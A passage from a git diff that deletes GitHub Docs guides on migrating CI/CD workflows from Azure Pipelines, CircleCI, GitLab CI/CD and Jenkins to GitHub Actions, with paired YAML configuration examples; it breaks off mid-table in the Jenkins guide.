%} syntax for specifying CMD - -{% raw %} - -```yaml -jobs: - run_command: - runs-on: windows-latest - steps: - - run: echo "This step runs in PowerShell on Windows by default" - - run: echo "This step runs in CMD on Windows explicitly" - shell: cmd -``` - -{% endraw %} - -For more information, see [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions#using-a-specific-shell). - -## Migrating conditionals and expression syntax - -Azure Pipelines and {% data variables.product.prodname_actions %} can both run steps conditionally. In Azure Pipelines, conditional expressions are specified using the `condition` key. In {% data variables.product.prodname_actions %}, conditional expressions are specified using the `if` key. - -Azure Pipelines uses functions within expressions to execute steps conditionally. In contrast, {% data variables.product.prodname_actions %} uses an infix notation. For example, you must replace the `eq` function in Azure Pipelines with the `==` operator in {% data variables.product.prodname_actions %}. - -Below is an example of the syntax for each system. - -### Azure Pipelines syntax for conditional expressions - -{% raw %} - -```yaml -jobs: - - job: conditional - pool: - vmImage: 'ubuntu-latest' - steps: - - script: echo "This step runs with str equals 'ABC' and num equals 123" - condition: and(eq(variables.str, 'ABC'), eq(variables.num, 123)) -``` - -{% endraw %} - -### {% data variables.product.prodname_actions %} syntax for conditional expressions - -{% raw %} - -```yaml -jobs: - conditional: - runs-on: ubuntu-latest - steps: - - run: echo "This step runs with str equals 'ABC' and num equals 123" - if: ${{ env.str == 'ABC' && env.num == 123 }} -``` - -{% endraw %} - -For more information, see [AUTOTITLE](/actions/learn-github-actions/expressions). - -## Dependencies between jobs - -Both Azure Pipelines and {% data variables.product.prodname_actions %} allow you to set dependencies for a job. In both systems, jobs run in parallel by default, but job dependencies can be specified explicitly. In Azure Pipelines, this is done with the `dependsOn` key. In {% data variables.product.prodname_actions %}, this is done with the `needs` key. - -Below is an example of the syntax for each system. The workflows start a first job named `initial`, and when that job completes, two jobs named `fanout1` and `fanout2` will run. Finally, when those jobs complete, the job `fanin` will run. - -### Azure Pipelines syntax for dependencies between jobs - -{% raw %} - -```yaml -jobs: - - job: initial - pool: - vmImage: 'ubuntu-latest' - steps: - - script: echo "This job will be run first." - - job: fanout1 - pool: - vmImage: 'ubuntu-latest' - dependsOn: initial - steps: - - script: echo "This job will run after the initial job, in parallel with fanout2." - - job: fanout2 - pool: - vmImage: 'ubuntu-latest' - dependsOn: initial - steps: - - script: echo "This job will run after the initial job, in parallel with fanout1." - - job: fanin: - pool: - vmImage: 'ubuntu-latest' - dependsOn: [fanout1, fanout2] - steps: - - script: echo "This job will run after fanout1 and fanout2 have finished." -``` - -{% endraw %} - -### {% data variables.product.prodname_actions %} syntax for dependencies between jobs - -{% raw %} - -```yaml -jobs: - initial: - runs-on: ubuntu-latest - steps: - - run: echo "This job will be run first." - fanout1: - runs-on: ubuntu-latest - needs: initial - steps: - - run: echo "This job will run after the initial job, in parallel with fanout2." - fanout2: - runs-on: ubuntu-latest - needs: initial - steps: - - run: echo "This job will run after the initial job, in parallel with fanout1." - fanin: - runs-on: ubuntu-latest - needs: [fanout1, fanout2] - steps: - - run: echo "This job will run after fanout1 and fanout2 have finished." -``` - -{% endraw %} - -For more information, see [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idneeds). - -## Migrating tasks to actions - -Azure Pipelines uses _tasks_, which are application components that can be re-used in multiple workflows. {% data variables.product.prodname_actions %} uses _actions_, which can be used to perform tasks and customize your workflow. In both systems, you can specify the name of the task or action to run, along with any required inputs as key/value pairs. - -Below is an example of the syntax for each system. - -### Azure Pipelines syntax for tasks - -{% raw %} - -```yaml -jobs: - - job: run_python - pool: - vmImage: 'ubuntu-latest' - steps: - - task: UsePythonVersion@0 - inputs: - versionSpec: '3.7' - architecture: 'x64' - - script: python script.py -``` - -{% endraw %} - -### {% data variables.product.prodname_actions %} syntax for actions - -```yaml -jobs: - run_python: - runs-on: ubuntu-latest - steps: - - uses: {% data reusables.actions.action-setup-python %} - with: - python-version: '3.7' - architecture: 'x64' - - run: python script.py -``` - -You can find actions that you can use in your workflow in [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace?type=actions), or you can create your own actions. For more information, see [AUTOTITLE](/actions/creating-actions). diff --git a/content/actions/migrating-to-github-actions/manually-migrating-to-github-actions/migrating-from-circleci-to-github-actions.md b/content/actions/migrating-to-github-actions/manually-migrating-to-github-actions/migrating-from-circleci-to-github-actions.md deleted file mode 100644 index 66c5c8f7b115..000000000000 --- a/content/actions/migrating-to-github-actions/manually-migrating-to-github-actions/migrating-from-circleci-to-github-actions.md +++ /dev/null @@ -1,418 +0,0 @@ ---- -title: Migrating from CircleCI to GitHub Actions -intro: 'GitHub Actions and CircleCI share several similarities in configuration, which makes migration to GitHub Actions relatively straightforward.' -redirect_from: - - /actions/learn-github-actions/migrating-from-circleci-to-github-actions - - /actions/migrating-to-github-actions/migrating-from-circleci-to-github-actions - - /actions/migrating-to-github-actions/manual-migrations/migrating-from-circleci-to-github-actions -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: tutorial -topics: - - CircleCI - - Migration - - CI - - CD -shortTitle: Migrate from CircleCI ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## Introduction - -CircleCI and {% data variables.product.prodname_actions %} both allow you to create workflows that automatically build, test, publish, release, and deploy code. CircleCI and {% data variables.product.prodname_actions %} share some similarities in workflow configuration: - -* Workflow configuration files are written in YAML and stored in the repository. -* Workflows include one or more jobs. -* Jobs include one or more steps or individual commands. -* Steps or tasks can be reused and shared with the community. - -For more information, see [AUTOTITLE](/actions/learn-github-actions/understanding-github-actions). - -## Key differences - -When migrating from CircleCI, consider the following differences: - -* CircleCI’s automatic test parallelism automatically groups tests according to user-specified rules or historical timing information. This functionality is not built into {% data variables.product.prodname_actions %}. -* Actions that execute in Docker containers are sensitive to permissions problems since containers have a different mapping of users. You can avoid many of these problems by not using the `USER` instruction in your _Dockerfile_. For more information about the Docker filesystem on {% data variables.product.github %}-hosted runners, see [AUTOTITLE](/actions/using-github-hosted-runners/about-github-hosted-runners#docker-container-filesystem). - -## Migrating workflows and jobs - -CircleCI defines `workflows` in the _config.yml_ file, which allows you to configure more than one workflow. {% data variables.product.github %} requires one workflow file per workflow, and as a consequence, does not require you to declare `workflows`. You'll need to create a new workflow file for each workflow configured in _config.yml_. - -Both CircleCI and {% data variables.product.prodname_actions %} configure `jobs` in the configuration file using similar syntax. If you configure any dependencies between jobs using `requires` in your CircleCI workflow, you can use the equivalent {% data variables.product.prodname_actions %} `needs` syntax. For more information, see [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idneeds). - -## Migrating orbs to actions - -Both CircleCI and {% data variables.product.prodname_actions %} provide a mechanism to reuse and share tasks in a workflow. CircleCI uses a concept called orbs, written in YAML, to provide tasks that people can reuse in a workflow. {% data variables.product.prodname_actions %} has powerful and flexible reusable components called actions, which you build with either JavaScript files or Docker images. You can create actions by writing custom code that interacts with your repository in any way you'd like, including integrating with {% data variables.product.github %}'s APIs and any publicly available third-party API. For example, an action can publish npm modules, send SMS alerts when urgent issues are created, or deploy production-ready code. For more information, see [AUTOTITLE](/actions/creating-actions). - -CircleCI can reuse pieces of workflows with YAML anchors and aliases. {% data variables.product.prodname_actions %} supports the most common need for reusability using matrices. For more information about matrices, see [AUTOTITLE](/actions/using-jobs/using-a-matrix-for-your-jobs). - -## Using Docker images - -Both CircleCI and {% data variables.product.prodname_actions %} support running steps inside of a Docker image. - -CircleCI provides a set of pre-built images with common dependencies. These images have the `USER` set to `circleci`, which causes permissions to conflict with {% data variables.product.prodname_actions %}. - -We recommend that you move away from CircleCI's pre-built images when you migrate to {% data variables.product.prodname_actions %}. In many cases, you can use actions to install the additional dependencies you need. - -For more information about the Docker filesystem, see [AUTOTITLE](/actions/using-github-hosted-runners/about-github-hosted-runners#docker-container-filesystem). - -For more information about the tools and packages available on {% data variables.product.prodname_dotcom %}-hosted runner images, see [AUTOTITLE](/actions/using-github-hosted-runners/about-github-hosted-runners#supported-software). - -## Using variables and secrets - -CircleCI and {% data variables.product.prodname_actions %} support setting variables in the configuration file and creating secrets using the CircleCI or {% data variables.product.github %} UI. - -For more information, see [AUTOTITLE](/actions/learn-github-actions/variables#default-environment-variables) and [AUTOTITLE](/actions/security-guides/using-secrets-in-github-actions). - -## Caching - -CircleCI and {% data variables.product.prodname_actions %} provide a method to manually cache files in the configuration file. - -Below is an example of the syntax for each system. - -### CircleCI syntax for caching - -{% raw %} - -```yaml -- restore_cache: - keys: - - v1-npm-deps-{{ checksum "package-lock.json" }} - - v1-npm-deps- -``` - -{% endraw %} - -### GitHub Actions syntax for caching - -```yaml -- name: Cache node modules - uses: {% data reusables.actions.action-cache %} - with: - path: ~/.npm - key: {% raw %}v1-npm-deps-${{ hashFiles('**/package-lock.json') }}{% endraw %} - restore-keys: v1-npm-deps- -``` - -{% data variables.product.prodname_actions %} does not have an equivalent of CircleCI’s Docker Layer Caching (or DLC). - -## Persisting data between jobs - -Both CircleCI and {% data variables.product.prodname_actions %} provide mechanisms to persist data between jobs. - -Below is an example in CircleCI and {% data variables.product.prodname_actions %} configuration syntax. - -### CircleCI syntax for persisting data between jobs - -{% raw %} - -```yaml -- persist_to_workspace: - root: workspace - paths: - - math-homework.txt - -... - -- attach_workspace: - at: /tmp/workspace -``` - -{% endraw %} - -### GitHub Actions syntax for persisting data between jobs - -```yaml -- name: Upload math result for job 1 - uses: {% data reusables.actions.action-upload-artifact %} - with: - name: homework - path: math-homework.txt - -... - -- name: Download math result for job 1 - uses: {% data reusables.actions.action-download-artifact %} - with: - name: homework -``` - -For more information, see [AUTOTITLE](/actions/using-workflows/storing-workflow-data-as-artifacts). - -## Using databases and service containers - -Both systems enable you to include additional containers for databases, caching, or other dependencies. - -In CircleCI, the first image listed in the _config.yaml_ is the primary image used to run commands. {% data variables.product.prodname_actions %} uses explicit sections: use `container` for the primary container, and list additional containers in `services`. - -Below is an example in CircleCI and {% data variables.product.prodname_actions %} configuration syntax. - -### CircleCI syntax for using databases and service containers - -{% raw %} - -```yaml ---- -version: 2.1 - -jobs: - - ruby-26: - docker: - - image: circleci/ruby:2.6.3-node-browsers-legacy - environment: - PGHOST: localhost - PGUSER: administrate - RAILS_ENV: test - - image: postgres:10.1-alpine - environment: - POSTGRES_USER: administrate - POSTGRES_DB: ruby26 - POSTGRES_PASSWORD: "" - - working_directory: ~/administrate - - steps: - - checkout - - # Bundle install dependencies - - run: bundle install --path vendor/bundle - - # Wait for DB - - run: dockerize -wait tcp://localhost:5432 -timeout 1m - - # Setup the environment - - run: cp .sample.env .env - - # Setup the database - - run: bundle exec rake db:setup - - # Run the tests - - run: bundle exec rake - -workflows: - version: 2 - build: - jobs: - - ruby-26 -... - -- attach_workspace: - at: /tmp/workspace -``` - -{% endraw %} - -### GitHub Actions syntax for using databases and service containers - -<!-- markdownlint-disable search-replace --> - -```yaml -name: Containers - -on: [push] - -jobs: - build: - - runs-on: ubuntu-latest - container: circleci/ruby:2.6.3-node-browsers-legacy - - env: - PGHOST: postgres - PGUSER: administrate - RAILS_ENV: test - - services: - postgres: - image: postgres:10.1-alpine - env: - POSTGRES_USER: administrate - POSTGRES_DB: ruby25 - POSTGRES_PASSWORD: "" - ports: - - 5432:5432 - # Add a health check - options: --health-cmd pg_isready --health-interval 10s --health-timeout 5s --health-retries 5 - - steps: - # This Docker file changes sets USER to circleci instead of using the default user, so we need to update file permissions for this image to work on GH Actions. - # See https://docs.github.com/actions/using-github-hosted-runners/about-github-hosted-runners#docker-container-filesystem - - - name: Setup file system permissions - run: sudo chmod -R 777 $GITHUB_WORKSPACE /github /__w/_temp - - uses: {% data reusables.actions.action-checkout %} - - name: Install dependencies - run: bundle install --path vendor/bundle - - name: Setup environment configuration - run: cp .sample.env .env - - name: Setup database - run: bundle exec rake db:setup - - name: Run tests - run: bundle exec rake -``` - -<!-- markdownlint-enable search-replace --> - -For more information, see [AUTOTITLE](/actions/using-containerized-services/about-service-containers). - -## Complete Example - -Below is a real-world example. The left shows the actual CircleCI _config.yml_ for the [thoughtbot/administrator](https://github.com/thoughtbot/administrate) repository. The right shows the {% data variables.product.prodname_actions %} equivalent. - -### Complete example for CircleCI - -{% raw %} - -```yaml ---- -version: 2.1 - -commands: - shared_steps: - steps: - - checkout - - # Restore Cached Dependencies - - restore_cache: - name: Restore bundle cache - key: administrate-{{ checksum "Gemfile.lock" }} - - # Bundle install dependencies - - run: bundle install --path vendor/bundle - - # Cache Dependencies - - save_cache: - name: Store bundle cache - key: administrate-{{ checksum "Gemfile.lock" }} - paths: - - vendor/bundle - - # Wait for DB - - run: dockerize -wait tcp://localhost:5432 -timeout 1m - - # Setup the environment - - run: cp .sample.env .env - - # Setup the database - - run: bundle exec rake db:setup - - # Run the tests - - run: bundle exec rake - -default_job: &default_job - working_directory: ~/administrate - steps: - - shared_steps - # Run the tests against multiple versions of Rails - - run: bundle exec appraisal install - - run: bundle exec appraisal rake - -jobs: - ruby-25: - <<: *default_job - docker: - - image: circleci/ruby:2.5.0-node-browsers - environment: - PGHOST: localhost - PGUSER: administrate - RAILS_ENV: test - - image: postgres:10.1-alpine - environment: - POSTGRES_USER: administrate - POSTGRES_DB: ruby25 - POSTGRES_PASSWORD: "" - - ruby-26: - <<: *default_job - docker: - - image: circleci/ruby:2.6.3-node-browsers-legacy - environment: - PGHOST: localhost - PGUSER: administrate - RAILS_ENV: test - - image: postgres:10.1-alpine - environment: - POSTGRES_USER: administrate - POSTGRES_DB: ruby26 - POSTGRES_PASSWORD: "" - -workflows: - version: 2 - multiple-rubies: - jobs: - - ruby-26 - - ruby-25 -``` - -{% endraw %} - -### Complete example for GitHub Actions - -```yaml -{% data reusables.actions.actions-not-certified-by-github-comment %} - -{% data reusables.actions.actions-use-sha-pinning-comment %} - -name: Containers - -on: [push] - -jobs: - build: - - strategy: - matrix: - ruby: ['2.5', '2.6.3'] - - runs-on: ubuntu-latest - - env: - PGHOST: localhost - PGUSER: administrate - RAILS_ENV: test - - services: - postgres: - image: postgres:10.1-alpine - env: - POSTGRES_USER: administrate - POSTGRES_DB: ruby25 - POSTGRES_PASSWORD: "" - ports: - - 5432:5432 - # Add a health check - options: --health-cmd pg_isready --health-interval 10s --health-timeout 5s --health-retries 5 - - steps: - - uses: {% data reusables.actions.action-checkout %} - - name: Setup Ruby - uses: eregon/use-ruby-action@ec02537da5712d66d4d50a0f33b7eb52773b5ed1 - with: - ruby-version: {% raw %}${{ matrix.ruby }}{% endraw %} - - name: Cache dependencies - uses: {% data reusables.actions.action-cache %} - with: - path: vendor/bundle - key: administrate-{% raw %}${{ matrix.image }}-${{ hashFiles('Gemfile.lock') }}{% endraw %} - - name: Install postgres headers - run: | - sudo apt-get update - sudo apt-get install libpq-dev - - name: Install dependencies - run: bundle install --path vendor/bundle - - name: Setup environment configuration - run: cp .sample.env .env - - name: Setup database - run: bundle exec rake db:setup - - name: Run tests - run: bundle exec rake - - name: Install appraisal - run: bundle exec appraisal install - - name: Run appraisal - run: bundle exec appraisal rake -``` diff --git a/content/actions/migrating-to-github-actions/manually-migrating-to-github-actions/migrating-from-gitlab-cicd-to-github-actions.md b/content/actions/migrating-to-github-actions/manually-migrating-to-github-actions/migrating-from-gitlab-cicd-to-github-actions.md deleted file mode 100644 index a2afb0410283..000000000000 --- a/content/actions/migrating-to-github-actions/manually-migrating-to-github-actions/migrating-from-gitlab-cicd-to-github-actions.md +++ /dev/null @@ -1,415 +0,0 @@ ---- -title: Migrating from GitLab CI/CD to GitHub Actions -intro: '{% data variables.product.prodname_actions %} and GitLab CI/CD share several configuration similarities, which makes migrating to {% data variables.product.prodname_actions %} relatively straightforward.' -redirect_from: - - /actions/learn-github-actions/migrating-from-gitlab-cicd-to-github-actions - - /actions/migrating-to-github-actions/migrating-from-gitlab-cicd-to-github-actions - - /actions/migrating-to-github-actions/manual-migrations/migrating-from-gitlab-cicd-to-github-actions -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: tutorial -topics: - - GitLab - - Migration - - CI - - CD -shortTitle: Migrate from GitLab CI/CD ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## Introduction - -GitLab CI/CD and {% data variables.product.prodname_actions %} both allow you to create workflows that automatically build, test, publish, release, and deploy code. GitLab CI/CD and {% data variables.product.prodname_actions %} share some similarities in workflow configuration: - -* Workflow configuration files are written in YAML and are stored in the code's repository. -* Workflows include one or more jobs. -* Jobs include one or more steps or individual commands. -* Jobs can run on either managed or self-hosted machines. - -There are a few differences, and this guide will show you the important differences so that you can migrate your workflow to {% data variables.product.prodname_actions %}. - -## Jobs - -Jobs in GitLab CI/CD are very similar to jobs in {% data variables.product.prodname_actions %}. In both systems, jobs have the following characteristics: - -* Jobs contain a series of steps or scripts that run sequentially. -* Jobs can run on separate machines or in separate containers. -* Jobs run in parallel by default, but can be configured to run sequentially. - -You can run a script or a shell command in a job. In GitLab CI/CD, script steps are specified using the `script` key. In {% data variables.product.prodname_actions %}, all scripts are specified using the `run` key. - -Below is an example of the syntax for each system. - -### GitLab CI/CD syntax for jobs - -{% raw %} - -```yaml -job1: - variables: - GIT_CHECKOUT: "true" - script: - - echo "Run your script here" -``` - -{% endraw %} - -### {% data variables.product.prodname_actions %} syntax for jobs - -```yaml -jobs: - job1: - steps: - - uses: {% data reusables.actions.action-checkout %} - - run: echo "Run your script here" -``` - -## Runners - -Runners are machines on which the jobs run. Both GitLab CI/CD and {% data variables.product.prodname_actions %} offer managed and self-hosted variants of runners. In GitLab CI/CD, `tags` are used to run jobs on different platforms, while in {% data variables.product.prodname_actions %} it is done with the `runs-on` key. - -Below is an example of the syntax for each system. - -### GitLab CI/CD syntax for runners - -{% raw %} - -```yaml -windows_job: - tags: - - windows - script: - - echo Hello, %USERNAME%! - -linux_job: - tags: - - linux - script: - - echo "Hello, $USER!" -``` - -{% endraw %} - -### {% data variables.product.prodname_actions %} syntax for runners - -{% raw %} - -```yaml -windows_job: - runs-on: windows-latest - steps: - - run: echo Hello, %USERNAME%! - -linux_job: - runs-on: ubuntu-latest - steps: - - run: echo "Hello, $USER!" -``` - -{% endraw %} - -For more information, see [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idruns-on). - -## Docker images - -Both GitLab CI/CD and {% data variables.product.prodname_actions %} support running jobs in a Docker image. In GitLab CI/CD, Docker images are defined with an `image` key, while in {% data variables.product.prodname_actions %} it is done with the `container` key. - -Below is an example of the syntax for each system. - -### GitLab CI/CD syntax for Docker images - -{% raw %} - -```yaml -my_job: - image: node:20-bookworm-slim -``` - -{% endraw %} - -### {% data variables.product.prodname_actions %} syntax for Docker images - -{% raw %} - -```yaml -jobs: - my_job: - container: node:20-bookworm-slim -``` - -{% endraw %} - -For more information, see [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idcontainer). - -## Condition and expression syntax - -GitLab CI/CD uses `rules` to determine if a job will run for a specific condition. {% data variables.product.prodname_actions %} uses the `if` keyword to prevent a job from running unless a condition is met. - -Below is an example of the syntax for each system. - -### GitLab CI/CD syntax for conditions and expressions - -{% raw %} - -```yaml -deploy_prod: - stage: deploy - script: - - echo "Deploy to production server" - rules: - - if: '$CI_COMMIT_BRANCH == "master"' -``` - -{% endraw %} - -### {% data variables.product.prodname_actions %} syntax for conditions and expressions - -{% raw %} - -```yaml -jobs: - deploy_prod: - if: contains( github.ref, 'master') - runs-on: ubuntu-latest - steps: - - run: echo "Deploy to production server" -``` - -{% endraw %} - -For more information, see [AUTOTITLE](/actions/learn-github-actions/expressions). - -## Dependencies between Jobs - -Both GitLab CI/CD and {% data variables.product.prodname_actions %} allow you to set dependencies for a job. In both systems, jobs run in parallel by default, but job dependencies in {% data variables.product.prodname_actions %} can be specified explicitly with the `needs` key. GitLab CI/CD also has a concept of `stages`, where jobs in a stage run concurrently, but the next stage will start when all the jobs in the previous stage have completed. You can recreate this scenario in {% data variables.product.prodname_actions %} with the `needs` key. - -Below is an example of the syntax for each system. The workflows start with two jobs named `build_a` and `build_b` running in parallel, and when those jobs complete, another job called `test_ab` will run. Finally, when `test_ab` completes, the `deploy_ab` job will run. - -### GitLab CI/CD syntax for dependencies between jobs - -{% raw %} - -```yaml -stages: - - build - - test - - deploy - -build_a: - stage: build - script: - - echo "This job will run first." - -build_b: - stage: build - script: - - echo "This job will run first, in parallel with build_a." - -test_ab: - stage: test - script: - - echo "This job will run after build_a and build_b have finished." - -deploy_ab: - stage: deploy - script: - - echo "This job will run after test_ab is complete" -``` - -{% endraw %} - -### {% data variables.product.prodname_actions %} syntax for dependencies between jobs - -{% raw %} - -```yaml -jobs: - build_a: - runs-on: ubuntu-latest - steps: - - run: echo "This job will be run first." - - build_b: - runs-on: ubuntu-latest - steps: - - run: echo "This job will be run first, in parallel with build_a" - - test_ab: - runs-on: ubuntu-latest - needs: [build_a,build_b] - steps: - - run: echo "This job will run after build_a and build_b have finished" - - deploy_ab: - runs-on: ubuntu-latest - needs: [test_ab] - steps: - - run: echo "This job will run after test_ab is complete" -``` - -{% endraw %} - -For more information, see [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idneeds). - -## Scheduling workflows - -Both GitLab CI/CD and {% data variables.product.prodname_actions %} allow you to run workflows at a specific interval. In GitLab CI/CD, pipeline schedules are configured with the UI, while in {% data variables.product.prodname_actions %} you can trigger a workflow on a scheduled interval with the "on" key. - -For more information, see [AUTOTITLE](/actions/using-workflows/events-that-trigger-workflows#scheduled-events). - -## Variables and secrets - -GitLab CI/CD and {% data variables.product.prodname_actions %} support setting variables in the pipeline or workflow configuration file, and creating secrets using the GitLab or {% data variables.product.github %} UI. - -For more information, see [AUTOTITLE](/actions/learn-github-actions/variables) and [AUTOTITLE](/actions/security-for-github-actions/security-guides/about-secrets). - -## Caching - -GitLab CI/CD and {% data variables.product.prodname_actions %} provide a method in the configuration file to manually cache workflow files. - -Below is an example of the syntax for each system. - -### GitLab CI/CD syntax for caching - -{% raw %} - -```yaml -image: node:latest - -cache: - key: $CI_COMMIT_REF_SLUG - paths: - - .npm/ - -before_script: - - npm ci --cache .npm --prefer-offline - -test_async: - script: - - node ./specs/start.js ./specs/async.spec.js -``` - -{% endraw %} - -### {% data variables.product.prodname_actions %} syntax for caching - -```yaml -jobs: - test_async: - runs-on: ubuntu-latest - steps: - - name: Cache node modules - uses: {% data reusables.actions.action-cache %} - with: - path: ~/.npm - key: {% raw %}v1-npm-deps-${{ hashFiles('**/package-lock.json') }}{% endraw %} - restore-keys: v1-npm-deps- -``` - -## Artifacts - -Both GitLab CI/CD and {% data variables.product.prodname_actions %} can upload files and directories created by a job as artifacts. In {% data variables.product.prodname_actions %}, artifacts can be used to persist data across multiple jobs. - -Below is an example of the syntax for each system. - -### GitLab CI/CD syntax for artifacts - -{% raw %} - -```yaml -script: -artifacts: - paths: - - math-homework.txt -``` - -{% endraw %} - -### {% data variables.product.prodname_actions %} syntax for artifacts - -```yaml -- name: Upload math result for job 1 - uses: {% data reusables.actions.action-upload-artifact %} - with: - name: homework - path: math-homework.txt -``` - -For more information, see [AUTOTITLE](/actions/using-workflows/storing-workflow-data-as-artifacts). - -## Databases and service containers - -Both systems enable you to include additional containers for databases, caching, or other dependencies. - -In GitLab CI/CD, a container for the job is specified with the `image` key, while {% data variables.product.prodname_actions %} uses the `container` key. In both systems, additional service containers are specified with the `services` key. - -Below is an example of the syntax for each system. - -### GitLab CI/CD syntax for databases and service containers - -{% raw %} - -```yaml -container-job: - variables: - POSTGRES_PASSWORD: postgres - # The hostname used to communicate with the - # PostgreSQL service container - POSTGRES_HOST: postgres - # The default PostgreSQL port - POSTGRES_PORT: 5432 - image: node:20-bookworm-slim - services: - - postgres - script: - # Performs a clean installation of all dependencies - # in the `package.json` file - - npm ci - # Runs a script that creates a PostgreSQL client, - # populates the client with data, and retrieves data - - node client.js - tags: - - docker -``` - -{% endraw %} - -### {% data variables.product.prodname_actions %} syntax for databases and service containers - -```yaml -jobs: - container-job: - runs-on: ubuntu-latest - container: node:20-bookworm-slim - - services: - postgres: - image: postgres - env: - POSTGRES_PASSWORD: postgres - - steps: - - name: Check out repository code - uses: {% data reusables.actions.action-checkout %} - - # Performs a clean installation of all dependencies - # in the `package.json` file - - name: Install dependencies - run: npm ci - - - name: Connect to PostgreSQL - # Runs a script that creates a PostgreSQL client, - # populates the client with data, and retrieves data - run: node client.js - env: - # The hostname used to communicate with the - # PostgreSQL service container - POSTGRES_HOST: postgres - # The default PostgreSQL port - POSTGRES_PORT: 5432 -``` - -For more information, see [AUTOTITLE](/actions/using-containerized-services/about-service-containers). diff --git a/content/actions/migrating-to-github-actions/manually-migrating-to-github-actions/migrating-from-jenkins-to-github-actions.md b/content/actions/migrating-to-github-actions/manually-migrating-to-github-actions/migrating-from-jenkins-to-github-actions.md deleted file mode 100644 index 50c5475fdf46..000000000000 --- a/content/actions/migrating-to-github-actions/manually-migrating-to-github-actions/migrating-from-jenkins-to-github-actions.md +++ /dev/null @@ -1,229 +0,0 @@ ---- -title: Migrating from Jenkins to GitHub Actions -intro: '{% data variables.product.prodname_actions %} and Jenkins share multiple similarities, which makes migration to {% data variables.product.prodname_actions %} relatively straightforward.' -redirect_from: - - /actions/learn-github-actions/migrating-from-jenkins-to-github-actions - - /actions/migrating-to-github-actions/migrating-from-jenkins-to-github-actions - - /actions/migrating-to-github-actions/manual-migrations/migrating-from-jenkins-to-github-actions -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: tutorial -topics: - - Jenkins - - Migration - - CI - - CD -shortTitle: Migrate from Jenkins ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## Introduction - -Jenkins and {% data variables.product.prodname_actions %} both allow you to create workflows that automatically build, test, publish, release, and deploy code. Jenkins and {% data variables.product.prodname_actions %} share some similarities in workflow configuration: - -* Jenkins creates workflows using _Declarative Pipelines_, which are similar to {% data variables.product.prodname_actions %} workflow files. -* Jenkins uses _stages_ to run a collection of steps, while {% data variables.product.prodname_actions %} uses jobs to group one or more steps or individual commands. -* Jenkins and {% data variables.product.prodname_actions %} support container-based builds. For more information, see [AUTOTITLE](/actions/creating-actions/creating-a-docker-container-action). -* Steps or tasks can be reused and shared with the community. - -For more information, see [AUTOTITLE](/actions/learn-github-actions/understanding-github-actions). - -## Key differences - -* Jenkins has two types of syntax for creating pipelines: Declarative Pipeline and Scripted Pipeline. {% data variables.product.prodname_actions %} uses YAML to create workflows and configuration files. For more information, see [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions). -* Jenkins deployments are typically self-hosted, with users maintaining the servers in their own data centers. {% data variables.product.prodname_actions %} offers a hybrid cloud approach by hosting its own runners that you can use to run jobs, while also supporting self-hosted runners. For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/about-self-hosted-runners). - -## Comparing capabilities - -### Distributing your builds - -Jenkins lets you send builds to a single build agent, or you can distribute them across multiple agents. You can also classify these agents according to various attributes, such as operating system types. - -Similarly, {% data variables.product.prodname_actions %} can send jobs to {% data variables.product.prodname_dotcom %}-hosted or self-hosted runners, and you can use labels to classify runners according to various attributes. For more information, see [AUTOTITLE](/actions/learn-github-actions/understanding-github-actions#runners) and [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/about-self-hosted-runners). - -### Using sections to organize pipelines - -Jenkins splits its Declarative Pipelines into multiple sections. Similarly, {% data variables.product.prodname_actions %} organizes its workflows into separate sections. The table below compares Jenkins sections with the {% data variables.product.prodname_actions %} workflow. - -| Jenkins Directives | {% data variables.product.prodname_actions %} | -| ------------- | ------------- | -| [`agent`](https://jenkins.io/doc/book/pipeline/syntax/#agent) | [`jobs.<job_id>.runs-on`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idruns-on) <br> [`jobs.<job_id>.container`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idcontainer) | -| [`post`](https://jenkins.io/doc/book/pipeline/syntax/#post) | None | -| [`stages`](https://jenkins.io/doc/book/pipeline/syntax/#stages) | [`jobs`](/actions/using-workflows/workflow-syntax-for-github-actions#jobs) | -| [`steps`](https://jenkins.io/doc/book/pipeline/syntax/#steps) | [`jobs.<job_id>.steps`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idsteps) | - -## Using directives - -Jenkins uses directives to manage _Declarative Pipelines_. These directives define the characteristics of your workflow and how it will execute. The table below demonstrates how these directives map to concepts within {% data variables.product.prodname_actions %}. - -| Jenkins Directives | {% data variables.product.prodname_actions %} | -| ------------- | ------------- | -| [`environment`](https://jenkins.io/doc/book/pipeline/syntax/#environment) | [`jobs.<job_id>.env`](/actions/using-workflows/workflow-syntax-for-github-actions#env) <br> [`jobs.<job_id>.steps[*].env`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsenv) | -| [`options`](https://jenkins.io/doc/book/pipeline/syntax/#parameters) | [`jobs.<job_id>.strategy`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstrategy) <br> [`jobs.<job_id>.strategy.fail-fast`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstrategyfail-fast) <br> [`jobs.<job_id>.timeout-minutes`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idtimeout-minutes) | -| [`parameters`](https://jenkins.io/doc/book/pipeline/syntax/#parameters) | [`inputs`](/actions/creating-actions/metadata-syntax-for-github-actions#inputs) <br> [`outputs`](/actions/creating-actions/metadata-syntax-for-github-actions#outputs-for-docker-container-and-javascript-actions) | -| [`triggers`](https://jenkins.io/doc/book/pipeline/syntax/#triggers) | [`on`](/actions/using-workflows/workflow-syntax-for-github-actions#on) <br> [`on.<event_name>.types`](/actions/using-workflows/workflow-syntax-for-github-actions#onevent_nametypes) <br> 